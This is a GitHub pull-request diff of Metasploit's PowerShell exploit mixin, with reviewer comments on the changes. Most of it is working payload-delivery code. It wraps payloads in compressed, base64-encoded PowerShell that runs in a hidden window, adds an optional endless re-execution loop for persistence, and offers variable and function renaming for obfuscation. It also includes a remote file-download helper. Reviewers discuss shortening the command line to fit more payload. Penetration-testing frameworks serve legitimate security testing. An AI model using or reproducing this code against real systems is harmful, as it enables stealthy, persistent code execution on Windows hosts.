Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Powershell import #2075

Closed
wants to merge 19 commits into from
Closed
Show file tree
Hide file tree
Changes from 8 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
331 changes: 171 additions & 160 deletions lib/msf/core/exploit/powershell.rb
Original file line number Diff line number Diff line change
@@ -1,120 +1,87 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/exploitation/powershell'

module Msf
module Exploit::Powershell

def initialize(info = {})
super
register_options(
[
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('RUN_WOW64', [
true,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
], self.class)
end

#
# Insert substitutions into the powershell script
#
def make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end

subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
return script
end

#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end

#
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end

# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end


#
# Return a zlib compressed powershell script
#
def compress_script(script_in, eof = nil)

# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)

# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)

# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$stream.ReadByte()|Out-Null;"
psh_expression << "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression << "$(New-Object IO.Compression.DeflateStream("
psh_expression << "$stream,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"

# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)

# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)

return encoded_expression
end

#
# Runs powershell in hidden window raising interactive proc msg
#
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "

ps_wrapper = <<EOS
class PshScript < Rex::Exploitation::Powershell::Script
end

def initialize(info = {})
super
register_advanced_options(
[
OptBool.new('RUN_WOW64', [
false,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
], self.class)
end

#
# Reads script into a PshScript
#
def read_script(script)
return PshScript.new(script)
end

#
# Insert substitutions into the powershell script
#
def make_subs(script, subs)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should really be called path not script?

if ::File.file?(script)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should return if it cant find the file or script could be nil/some weird input on line 44?

script = ::File.read(script)
end

subs.each do |set|
script.gsub!(set[0],set[1])
end
# if datastore['VERBOSE']
# print_good("Final Script: ")
# script.each_line {|l| print_status("\t#{l}")}
# end
return script
end

#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end

#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def compress_script(script_in, eof = nil)
# Build script object
psh = PshScript.new(script_in)
# Invoke enabled modifiers
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will this work with the renaming of the functions?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup, i run with sub_vars and sub_funcs all the time. This was written before the recent commits adding unique random var generation, so handles that in the psh Rex lib. If you're seeing bugs in testing, would love to reproduce and fix in the Rex layer.

mod_method = k.split('::').last.intern
psh.send(mod_method)
end
return psh.compress_code(eof)
end

#
# Runs powershell in hidden window raising interactive proc msg
#
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This could be shortened to -e

Or perhaps a compress commandline to gsub powershell args with:
http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/

Would give us just that little more room on the command line

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Agreed, will implement.


ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = "#{ps_bin}"
$si.Arguments = '#{ps_args}'
Expand All @@ -125,54 +92,98 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
$p = [System.Diagnostics.Process]::Start($si)
EOS

return ps_wrapper
end

#
# Creates cmd script to execute psh payload
#
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end
# Run our payload in a while loop
if datastore['PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
# Determine appropriate architecture
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
end

#
# Convert binary to byte array, read from file if able
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n"
end



return ps_wrapper.gsub("\n",';')
end

#
# Creates cmd script to execute psh payload
#
def cmd_psh_payload(pay, old_psh=false)
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end
# Run our payload in a while loop
if datastore['PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is the '1' required at the end?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This was a while back, but if i remember correctly, i did this because lack of a handler to catch the payload returns 0, so the persistence would not work unless each payload was caught.
I think you may have caught me on a dirty hack here. :)

end
# Determine appropriate architecture, manual method reduces script size
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
end


#
# Useful method cache
#
module PshMethods

#
# Convert binary to byte array, read from file if able
#
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end

return psh << lines.join("") + "\r\n"
end

#
# Download file to host via PSH
#
def self.download(src,target=nil)
target ||= '$pwd\\' << src.split('/').last
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
end

#
# Uninstall app
#
def self.uninstall(app,fuzzy=true)
match = fuzzy ? '-like' : '-eq'
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end

#
# Create secure string from plaintext
#
def self.secure_string(str)
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
end

#
# MISC
#

#
# Find PID of file locker
#
def self.who_locked_file?(filename)
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end


def self.get_last_login(user)
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end

Loading